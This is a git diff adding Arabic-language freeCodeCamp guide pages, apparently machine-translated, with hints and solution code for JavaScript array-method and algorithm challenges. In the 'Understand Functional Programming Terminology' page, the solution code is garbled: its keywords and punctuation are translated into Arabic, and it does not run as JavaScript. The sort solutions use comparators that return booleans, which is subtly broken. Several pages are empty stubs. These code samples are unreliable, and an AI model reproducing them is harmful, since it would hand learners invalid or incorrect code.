+أولاً تجميع الصفيف المتخذة كمعلمة إلى صفيف فارغ جديد. ثم استخدم الأسلوب `sort()` كما هو موضح في التحدي الأخير وقم بإنشاء دالة لفرز الصفيف الجديد بترتيب تصاعدي.
+
+### حل
+
+ `var globalArray = [5, 6, 3, 2, 9]; 
+ function nonMutatingSort(arr) { 
+  // Add your code below this line 
+  return [].concat(arr).sort(function(a, b) { 
+    return a - b; 
+  }); 
+  // Add your code above this line 
+ } 
+ nonMutatingSort(globalArray); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/return-part-of-an-array-using-the-slice-method/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/return-part-of-an-array-using-the-slice-method/index.md
new file mode 100644
index 0000000000..e3ef04eb2d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/return-part-of-an-array-using-the-slice-method/index.md
@@ -0,0 +1,32 @@
+---
+title: Return Part of an Array Using the slice Method
+localeTitle: عودة جزء من صفيف باستخدام طريقة شريحة
+---
+## عودة جزء من صفيف باستخدام طريقة شريحة
+
+### شرح المشكلة
+
+استخدم طريقة الشريحة في وظيفة sliceArray لإرجاع جزء من صفيف الرسوم المتحركة مع الأخذ في الاعتبار مؤشرات startSlice و endSlice المقدمة. يجب على الدالة إرجاع صفيف.
+
+### طريقة
+
+يمكن كتابة الدالة ببساطة عن طريق كتابة سطر واحد من التعليمات البرمجية - عبارة return. تمامًا كما في المثال المعطى ، قم `beginSlice` المصفوفة التي تأخذها الدالة كمعلمة باستخدام معلمات `beginSlice` و `endSlice` كمعلمات `endSlice` `slice()` . تذكر بنية طريقة `slice()` :
+
+ `var arr = ["Cat", "Dog", "Tiger", "Zebra", "Ant"]; 
+ arr.slice([index-to-begin-slice] , [index-to-end-slice]); 
+` 
+
+### حل
+
+ `function sliceArray(anim, beginSlice, endSlice) { 
+  // Add your code below this line 
+  return anim.slice(beginSlice, endSlice); 
+  // Add your code above this line 
+ } 
+ var inputAnim = ["Cat", "Dog", "Tiger", "Zebra", "Ant"]; 
+ sliceArray(inputAnim, 1, 3); 
+` 
+
+#### روابط ذات صلة:
+
+*   [Array.prototype.slice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/sort-an-array-alphabetically-using-the-sort-method/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/sort-an-array-alphabetically-using-the-sort-method/index.md
new file mode 100644
index 0000000000..2d5fbe0738
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/sort-an-array-alphabetically-using-the-sort-method/index.md
@@ -0,0 +1,32 @@
+---
+title: Sort an Array Alphabetically using the sort Method
+localeTitle: فرز صفيف أبجديا باستخدام طريقة الفرز
+---
+## فرز صفيف أبجديا باستخدام طريقة الفرز
+
+### طريقة
+
+في المثال المعطى ، نرى كيف نكتب دالة ستعيد مصفوفة جديدة بترتيب أبجدي معكوس.
+
+ `function reverseAlpha(arr) { 
+  return arr.sort(function(a, b) { 
+    return a < b; 
+  }); 
+ } 
+ reverseAlpha(['l', 'h', 'z', 'b', 's']); 
+ // Returns ['z', 's', 'l', 'h', 'b'] 
+` 
+
+باستخدام هذا المنطق ، ببساطة عكس هندسة وظيفة لإرجاع مجموعة جديدة بالترتيب الأبجدي.
+
+### حل
+
+ `function alphabeticalOrder(arr) { 
+  // Add your code below this line 
+  return arr.sort(function(a,b) { 
+    return a > b; 
+  }); 
+  // Add your code above this line 
+ } 
+ alphabeticalOrder(["a", "d", "c", "a", "z", "g"]); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/split-a-string-into-an-array-using-the-split-method/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/split-a-string-into-an-array-using-the-split-method/index.md
new file mode 100644
index 0000000000..53919fe4cf
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/split-a-string-into-an-array-using-the-split-method/index.md
@@ -0,0 +1,21 @@
+---
+title: Split a String into an Array Using the split Method
+localeTitle: تقسيم سلسلة في صفيف باستخدام طريقة الانقسام
+---
+## تقسيم سلسلة في صفيف باستخدام طريقة الانقسام
+
+### طريقة
+
+ما عليك سوى تقسيم السلسلة لإنشاء مجموعة جديدة من الكلمات.
+
+يمكن استخدام تعبير عادي بسيط لتحقيق هذه النتيجة.
+
+### حل
+
+ `function splitify(str) { 
+  // Add your code below this line 
+  return str.split(/\W/); 
+  // Add your code above this line 
+ } 
+ splitify("Hello World,I-am code"); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-functional-programming-terminology/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-functional-programming-terminology/index.md
new file mode 100644
index 0000000000..3ebd22551f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-functional-programming-terminology/index.md
@@ -0,0 +1,51 @@
+---
+title: Understand Functional Programming Terminology
+localeTitle: فهم البرمجة الوظيفية المصطلحات
+---
+## فهم البرمجة الوظيفية المصطلحات
+
+### طريقة
+
+كما هو الحال في التحدي الأخير ، يجب عليك استدعاء طريقة `getTea` وتخزينها في متغير. فقط هذه المرة ، لديك متغيرين لتخزين مجموعتين `getTea()` من البيانات. سترى أن الدالة `getTea()` هي نفسها كما كانت من قبل ، فقط الآن تأخذ في معلمتين منفصلتين. المعلمة الأولى هي دالة ، لذا سنحتاج إلى المرور في `prepareGreenTea()` أو الوظيفة `prepareBlackTea()` ، متبوعة بالمعلمة الثانية `numOfCups` التي يمكن `numOfCups` صحيح.
+
+### حل
+
+في هذا التمرين ، نقوم بتعيين نتيجة دالة أعلى من الترتيب للمتغيرات. للقيام بذلك ، فإننا نطلق على الدالة وظيفة رد اتصال كمعامل.
+
+## ملحوظة:
+
+`javascript const basketOne = makeBasket(addFruit, 10)`
+
+\## حل:
+
+\`\` \`جافا سكريبت
+
+/ \*\*
+
+*   عملية طويلة لتحضير الشاي الأخضر.
+*   return {string} كوب من الشاي الأخضر. \*\* / const preparGreenTea = () => 'greenTea'؛
+
+/ \*\*
+
+*   الحصول على عدد معين من أكواب الشاي.
+    
+*   param {function (): string} preparTea نوع وظيفة تحضير الشاي.
+    
+*   param {number} numOfCups عدد أكواب الشاي المطلوبة.
+    
+*   return {Array } كمية معينة من أكواب الشاي. \*\* / const getTea = (prepareTea، numOfCups) => { const teaCups = \[\]؛
+    
+    لـ (دع الكؤوس = 1 ؛ أكواب <= numOfCups ؛ أكواب + = 1) { const teaCup = prepareTea ()؛ teaCups.push (فنجان)؛ }
+    
+    عودة teaCups. }؛
+    
+    // أضف رمزك أدناه هذا السطر const tea4GreenTeamFCC = getTea (prepareGreenTea، 27)؛ // :) const tea4BlackTeamFCC = getTea (prepareBlackTea، 13)؛ // :) // أضف رمزك فوق هذا الخط
+    
+    console.log ( tea4GreenTeamFCC، tea4BlackTeamFCC )؛
+    
+    \`\` \`
+    
+
+## شرح الكود:
+
+في الحل أعلاه مررنا في الوظائف `prepareGreenTea()` و `prepareBlackTea()` كمعلمات أو وظائف رد اتصال لوظائف `getTea()` التي تم تعيينها لمتغيرينا `tea4BlackTeamFCC` و `tea4GreenTeamFCC` . بهذه الطريقة لا تتغير المتغيرات العالمية ، ولدينا خيار لإضافة عدد غير محدود من الخيارات المختلفة من أساليب `prepareTea()` لأنه يتم تمرير وظيفة رد الاتصال إلى وظيفة ترتيب أعلى من `getTea()` .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-the-hazards-of-using-imperative-code/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-the-hazards-of-using-imperative-code/index.md
new file mode 100644
index 0000000000..303b3660d2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-the-hazards-of-using-imperative-code/index.md
@@ -0,0 +1,9 @@
+---
+title: Understand the Hazards of Using Imperative Code
+localeTitle: فهم مخاطر استخدام الرمز الاحتمالي
+---
+## فهم مخاطر استخدام الرمز الاحتمالي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-the-hazards-of-using-imperative-code/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-every-method-to-check-that-every-element-in-an-array-meets-a-criteria/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-every-method-to-check-that-every-element-in-an-array-meets-a-criteria/index.md
new file mode 100644
index 0000000000..d6754bad91
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-every-method-to-check-that-every-element-in-an-array-meets-a-criteria/index.md
@@ -0,0 +1,40 @@
+---
+title: Use the every Method to Check that Every Element in an Array Meets a Criteria
+localeTitle: استخدم كل أسلوب للتحقق من أن كل عنصر في صفيف يلبي معايير
+---
+## استخدم كل أسلوب للتحقق من أن كل عنصر في صفيف يلبي معايير
+
+### شرح المشكلة:
+
+استخدم `every` طريقة داخل وظيفة `checkPositive` للتحقق مما إذا كان كل عنصر في `arr` موجب. يجب أن ترجع الدالة قيمة منطقية.
+
+#### روابط ذات صلة:
+
+*   [Array.prototype.every ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every)
+
+### ملحوظة
+
+لا تنسى `return`
+
+## حل
+
+ `function checkPositive(arr) { 
+  // Add your code below this line 
+ 
+  return arr.every(val => val > 0); 
+  // Add your code above this line 
+ } 
+ checkPositive([1, 2, 3, -4, 5]); 
+` 
+
+## حل بديل
+
+ `function checkPositive(arr) { 
+  // Add your code below this line 
+    return arr.every(function(value) { 
+        return value > 0; 
+    }); 
+  // Add your code above this line 
+ } 
+ checkPositive([1, 2, 3, -4, 5]); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-filter-method-to-extract-data-from-an-array/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-filter-method-to-extract-data-from-an-array/index.md
new file mode 100644
index 0000000000..a6a35369da
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-filter-method-to-extract-data-from-an-array/index.md
@@ -0,0 +1,20 @@
+---
+title: Use the filter method to extract data from an array
+localeTitle: استخدم طريقة التصفية لاستخراج البيانات من مصفوفة
+---
+## استخدم طريقة التصفية لاستخراج البيانات من مصفوفة
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+يتم حل هذه الحلقتة في خطوتين. أولاً ، يتم استخدام Array.prototype.filter لتصفية الصفيف بحيث يتم تركه مع عناصر تحتوي على imdbRating> 8.0. بعد ذلك ، يمكن استخدام Array.prototype.map لتشكيل الإخراج إلى التنسيق المطلوب.
+
+### حل
+
+ `// Add your code below this line 
+ 
+ var filteredList = watchList.map(function(e) { 
+  return {title: e["Title"], rating: e["imdbRating"]} 
+ }).filter((e) => e.rating >= 8); 
+ 
+ console.log(filteredList); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-map-method-to-extract-data-from-an-array/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-map-method-to-extract-data-from-an-array/index.md
new file mode 100644
index 0000000000..5c90c2f3b6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-map-method-to-extract-data-from-an-array/index.md
@@ -0,0 +1,26 @@
+---
+title: Use the map Method to Extract Data from an Array
+localeTitle: استخدم الخريطة أسلوب استخراج البيانات من صفيف
+---
+## استخدم الخريطة أسلوب استخراج البيانات من صفيف
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+يأخذ array.prototype.map وظيفة كما في المدخلات ويعيد مصفوفة. يتضمن الصفيف الذي تم إرجاعه العناصر التي تتم معالجتها بواسطة الدالة. هذه الوظيفة تأخذ العناصر الفردية كمدخل.
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") حل الشفرة المتوسطة:
+
+ `  rating = watchList.map( (item) => ({"title":item["Title"], "rating":item["imdbRating"]}) ); 
+` 
+
+\### رمز التوضيح: باستخدام تدوين ES6 ، تتم معالجة كل عنصر في الصفيف لاستخراج العنوان والتقييم. هناك حاجة إلى Parantheses لإرجاع كائن.
+
+#### روابط ذات صلة
+
+*   [وظائف السهم](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-reduce-method-to-analyze-data/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-reduce-method-to-analyze-data/index.md
new file mode 100644
index 0000000000..9999bf109f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-reduce-method-to-analyze-data/index.md
@@ -0,0 +1,128 @@
+---
+title: Use the reduce Method to Analyze Data
+localeTitle: استخدم تقليل أسلوب تحليل البيانات
+---
+## استخدم تقليل أسلوب تحليل البيانات
+
+ `// the global variable 
+ var watchList = [ 
+                 { 
+                   "Title": "Inception", 
+                   "Year": "2010", 
+                   "Rated": "PG-13", 
+                   "Released": "16 Jul 2010", 
+                   "Runtime": "148 min", 
+                   "Genre": "Action, Adventure, Crime", 
+                   "Director": "Christopher Nolan", 
+                   "Writer": "Christopher Nolan", 
+                   "Actors": "Leonardo DiCaprio, Joseph Gordon-Levitt, Ellen Page, Tom Hardy", 
+                   "Plot": "A thief, who steals corporate secrets through use of dream-sharing technology, is given the inverse task of planting an idea into the mind of a CEO.", 
+                   "Language": "English, Japanese, French", 
+                   "Country": "USA, UK", 
+                   "Awards": "Won 4 Oscars. Another 143 wins & 198 nominations.", 
+                   "Poster": "http://ia.media-imdb.com/images/M/MV5BMjAxMzY3NjcxNF5BMl5BanBnXkFtZTcwNTI5OTM0Mw@@._V1_SX300.jpg", 
+                   "Metascore": "74", 
+                   "imdbRating": "8.8", 
+                   "imdbVotes": "1,446,708", 
+                   "imdbID": "tt1375666", 
+                   "Type": "movie", 
+                   "Response": "True" 
+                }, 
+                { 
+                   "Title": "Interstellar", 
+                   "Year": "2014", 
+                   "Rated": "PG-13", 
+                   "Released": "07 Nov 2014", 
+                   "Runtime": "169 min", 
+                   "Genre": "Adventure, Drama, Sci-Fi", 
+                   "Director": "Christopher Nolan", 
+                   "Writer": "Jonathan Nolan, Christopher Nolan", 
+                   "Actors": "Ellen Burstyn, Matthew McConaughey, Mackenzie Foy, John Lithgow", 
+                   "Plot": "A team of explorers travel through a wormhole in space in an attempt to ensure humanity's survival.", 
+                   "Language": "English", 
+                   "Country": "USA, UK", 
+                   "Awards": "Won 1 Oscar. Another 39 wins & 132 nominations.", 
+                   "Poster": "http://ia.media-imdb.com/images/M/MV5BMjIxNTU4MzY4MF5BMl5BanBnXkFtZTgwMzM4ODI3MjE@._V1_SX300.jpg", 
+                   "Metascore": "74", 
+                   "imdbRating": "8.6", 
+                   "imdbVotes": "910,366", 
+                   "imdbID": "tt0816692", 
+                   "Type": "movie", 
+                   "Response": "True" 
+                }, 
+                { 
+                   "Title": "The Dark Knight", 
+                   "Year": "2008", 
+                   "Rated": "PG-13", 
+                   "Released": "18 Jul 2008", 
+                   "Runtime": "152 min", 
+                   "Genre": "Action, Adventure, Crime", 
+                   "Director": "Christopher Nolan", 
+                   "Writer": "Jonathan Nolan (screenplay), Christopher Nolan (screenplay), Christopher Nolan (story), David S. Goyer (story), Bob Kane (characters)", 
+                   "Actors": "Christian Bale, Heath Ledger, Aaron Eckhart, Michael Caine", 
+                   "Plot": "When the menace known as the Joker wreaks havoc and chaos on the people of Gotham, the caped crusader must come to terms with one of the greatest psychological tests of his ability to fight injustice.", 
+                   "Language": "English, Mandarin", 
+                   "Country": "USA, UK", 
+                   "Awards": "Won 2 Oscars. Another 146 wins & 142 nominations.", 
+                   "Poster": "http://ia.media-imdb.com/images/M/MV5BMTMxNTMwODM0NF5BMl5BanBnXkFtZTcwODAyMTk2Mw@@._V1_SX300.jpg", 
+                   "Metascore": "82", 
+                   "imdbRating": "9.0", 
+                   "imdbVotes": "1,652,832", 
+                   "imdbID": "tt0468569", 
+                   "Type": "movie", 
+                   "Response": "True" 
+                }, 
+                { 
+                   "Title": "Batman Begins", 
+                   "Year": "2005", 
+                   "Rated": "PG-13", 
+                   "Released": "15 Jun 2005", 
+                   "Runtime": "140 min", 
+                   "Genre": "Action, Adventure", 
+                   "Director": "Christopher Nolan", 
+                   "Writer": "Bob Kane (characters), David S. Goyer (story), Christopher Nolan (screenplay), David S. Goyer (screenplay)", 
+                   "Actors": "Christian Bale, Michael Caine, Liam Neeson, Katie Holmes", 
+                   "Plot": "After training with his mentor, Batman begins his fight to free crime-ridden Gotham City from the corruption that Scarecrow and the League of Shadows have cast upon it.", 
+                   "Language": "English, Urdu, Mandarin", 
+                   "Country": "USA, UK", 
+                   "Awards": "Nominated for 1 Oscar. Another 15 wins & 66 nominations.", 
+                   "Poster": "http://ia.media-imdb.com/images/M/MV5BNTM3OTc0MzM2OV5BMl5BanBnXkFtZTYwNzUwMTI3._V1_SX300.jpg", 
+                   "Metascore": "70", 
+                   "imdbRating": "8.3", 
+                   "imdbVotes": "972,584", 
+                   "imdbID": "tt0372784", 
+                   "Type": "movie", 
+                   "Response": "True" 
+                }, 
+                { 
+                   "Title": "Avatar", 
+                   "Year": "2009", 
+                   "Rated": "PG-13", 
+                   "Released": "18 Dec 2009", 
+                   "Runtime": "162 min", 
+                   "Genre": "Action, Adventure, Fantasy", 
+                   "Director": "James Cameron", 
+                   "Writer": "James Cameron", 
+                   "Actors": "Sam Worthington, Zoe Saldana, Sigourney Weaver, Stephen Lang", 
+                   "Plot": "A paraplegic marine dispatched to the moon Pandora on a unique mission becomes torn between following his orders and protecting the world he feels is his home.", 
+                   "Language": "English, Spanish", 
+                   "Country": "USA, UK", 
+                   "Awards": "Won 3 Oscars. Another 80 wins & 121 nominations.", 
+                   "Poster": "http://ia.media-imdb.com/images/M/MV5BMTYwOTEwNjAzMl5BMl5BanBnXkFtZTcwODc5MTUwMw@@._V1_SX300.jpg", 
+                   "Metascore": "83", 
+                   "imdbRating": "7.9", 
+                   "imdbVotes": "876,575", 
+                   "imdbID": "tt0499549", 
+                   "Type": "movie", 
+                   "Response": "True" 
+                } 
+ ]; 
+ 
+ // Add your code below this line 
+ 
+ var averageRating = watchList.filter(x => x.Director === "Christopher Nolan").map(x => Number(x.imdbRating)).reduce((x1, x2) => x1 + x2) / watchList.filter(x => x.Director === "Christopher Nolan").length; 
+ 
+ // Add your code above this line 
+ 
+ console.log(averageRating); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-some-method-to-check-that-any-elements-in-an-array-meet-a-criteria/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-some-method-to-check-that-any-elements-in-an-array-meet-a-criteria/index.md
new file mode 100644
index 0000000000..bb6f03a579
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-some-method-to-check-that-any-elements-in-an-array-meet-a-criteria/index.md
@@ -0,0 +1,21 @@
+---
+title: Use the some Method to Check that Any Elements in an Array Meet a Criteria
+localeTitle: استخدم بعض الأسلوب للتحقق من أن أي عناصر في مصفوفة تطابق معايير
+---
+## استخدم بعض الأسلوب للتحقق من أن أي عناصر في مجموعة تطابق معايير
+
+### شرح المشكلة
+
+استخدم بعض الطريقة داخل وظيفة checkPositive للتحقق مما إذا كان أي عنصر في arr موجبًا. يجب أن ترجع الدالة `checkPositive` قيمة منطقية.
+
+#### روابط ذات صلة:
+
+*   [Array.prototype.some ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some)
+
+### حل:
+
+ `function checkPositive(arr) { 
+  return arr.some((elem) => elem > 0); 
+ } 
+ checkPositive([1, 2, 3, -4, 5]); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/index.md
new file mode 100644
index 0000000000..c8ede35225
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/index.md
@@ -0,0 +1,11 @@
+---
+title: Javascript Algorithms and Data Structures
+localeTitle: خوارزميات جافا سكريبت وهياكل البيانات
+---
+## خوارزميات جافا سكريبت وهياكل البيانات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/arguments-optional/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/arguments-optional/index.md
new file mode 100644
index 0000000000..78e5f1099b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/arguments-optional/index.md
@@ -0,0 +1,212 @@
+---
+title: Arguments Optional
+localeTitle: الحجج اختياري
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/f/ff2fd8ffa014eea28587a8ef4933340d3dcc4b09.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+## ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+يمكن أن يكون الأمر معقدًا جدًا لفهم ما يجب فعله. هناك دائمًا العديد من الطرق لفعل شيء ما عند الترميز ولكن بغض النظر عن الخوارزمية المستخدمة ، يجب علينا إنشاء برنامج يقوم بما يلي:
+
+*   لديه لإضافة رقمين تمريرها كمعلمات وإرجاع المبلغ.
+*   لديها لمعرفة ما اذا كان أي من الأرقام هي الأرقام الفعلية، وإلا العودة **غير محدد** ووقف البرنامج هناك.
+*   عليها أن تتحقق مما إذا كان لديها وسيطة واحدة أو اثنتين تم تمريرهما. أكثر يتم تجاهلها.
+*   إذا كان يحتوي على وسيطة واحدة فقط ، فيجب عليه إرجاع دالة تستخدم هذا الرقم وتتوقع دالة أخرى ، ثم إضافتها.
+
+### روابط ذات صلة
+
+*   [المصفوفات](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
+*   [نوع من](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)
+*   [كائن الحجج](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+في كل مرة تتعامل فيها مع حجة ، عليك أن تتحقق مما إذا كانت رقمًا أم لا. لهذه الوظيفة التي تعالج هذه المهمة سيوفر لك رمز المتكررة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+عند العمل على الحالة التي يحتاج فيها إلى إرجاع الدالة ، فمن الحكمة أن تتحقق مما إذا كانت الحجة الأولى والوحيدة رقمًا مرة أخرى وتربط الشفرة في ذلك.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+في حالة تمرير وسيطة واحدة فقط ، لا تقلق بشأن كيفية تحريك الإدخال للوسيط الثاني ، فقط قم بتعيين تعريف الوظيفة بشكل صحيح وستعمل الأشياء على النحو الذي ينبغي عليه.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    function addTogether() { 
+      // Function to check if a number is actually a number 
+      // and return undefined otherwise. 
+      var checkNum = function(num) { 
+        if (typeof num !== 'number') { 
+          return undefined; 
+        } else 
+          return num; 
+      }; 
+ 
+      // Check if we have two parameters, check if they are numbers 
+      // handle the case where one is not 
+      // returns the addition. 
+      if (arguments.length > 1) { 
+        var a = checkNum(arguments[0]); 
+        var b = checkNum(arguments[1]); 
+        if (a === undefined || b === undefined) { 
+          return undefined; 
+        } else { 
+          return a + b; 
+        } 
+      } else { 
+        // If only one parameter was found, returns a new function that expects two 
+        // Store first argument before entering the new function scope 
+        var c = arguments[0]; 
+ 
+        // Check the number again, must be outside the function to about returning an object 
+        // instead of undefined. 
+        if (checkNum(c)) { 
+          // Return function that expect a second argument. 
+          return function(arg2) { 
+            // Check for non-numbers 
+            if (c === undefined || checkNum(arg2) === undefined) { 
+              return undefined; 
+            } else { 
+              // if numbers then add them. 
+              return c + arg2; 
+            } 
+          }; 
+        } 
+      } 
+    } 
+ 
+    // test here 
+    addTogether(2,3); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnz/0)
+
+### شرح الشفرة:
+
+*   أولاً ، أقوم بإنشاء دالة لغرض وحيد هو التحقق مما إذا كان الرقم في الواقع رقمًا وإرجاع غير معروف إذا لم يكن. ويستخدم **typeof** للتحقق.
+*   تحقق مما إذا كان لدينا **معلمتان** ، إذا كان الأمر كذلك ، فتحقق مما إذا كانت أرقامًا أو لا تستخدم الدالة **checkNum التي** قمت بإنشائها.
+*   إذا لم تكن **غير محددة ، فأضفها** وأعد الإضافة. إذا كان أي منهم غير محدد ثم إرجاع غير محدد.
+*   في حالة وجود وسيطة واحدة فقط ، فإننا نعيد دالة جديدة تتوقع معلمتين. ولهذا نقوم بتخزين الحجة الأولى قبل الدخول في نطاق جديد لتجنب استبدال حججنا.
+*   لا نزال داخل الجزء الأكبر الآخر ، نحتاج إلى التحقق من الحجة التي قمنا بحفظها ، إذا كان الرقم رقمًا ، فسنعيد الدالة التي تتوقع حجة ثانية.
+*   الآن داخل الدالة التي نعود إليها ، علينا التحقق من الأرقام غير مرة أخرى كما في البداية باستخدام **checkNum** إذا لم يتم **تحديدها** ثم إرجاعها ، وإلا إذا **أضافتها** الأرقام وأعد الإضافة.
+
+#### روابط ذات صلة
+
+*   [نوع من](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)
+*   [كائن الحجج](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `    function addTogether() { 
+      var args = new Array(arguments.length); 
+      //Storing the arguments in an array 
+      for(var i = 0; i < args.length; ++i) { 
+          args[i] = arguments[i]; 
+        } 
+     //Check for the arguments length 
+     if(args.length == 2){ 
+        //If there are two arguments,check for the type of both arguments 
+        //Use typeof to check the type of the argument(both should be numbers) 
+        if(typeof args[0] !== 'number' || typeof args[1] !=='number' ){ 
+          return undefined; 
+          } 
+        return args[0]+args[1]; 
+       } 
+     //When only one argument is provided 
+     if(args.length == 1){ 
+         a= args[0]; 
+         //Check the  argument using typeof 
+        if(typeof a!=='number'){ 
+            return undefined; 
+          } 
+        else{ 
+           //Making use of closures 
+           return function(b){ 
+           //Checking the second argument 
+             if(typeof b !=='number'){ 
+               return undefined; 
+               } 
+             else 
+               return a+b; 
+              }; 
+          } 
+        } 
+    } 
+ 
+    // test here 
+    addTogether(2,3); 
+` 
+
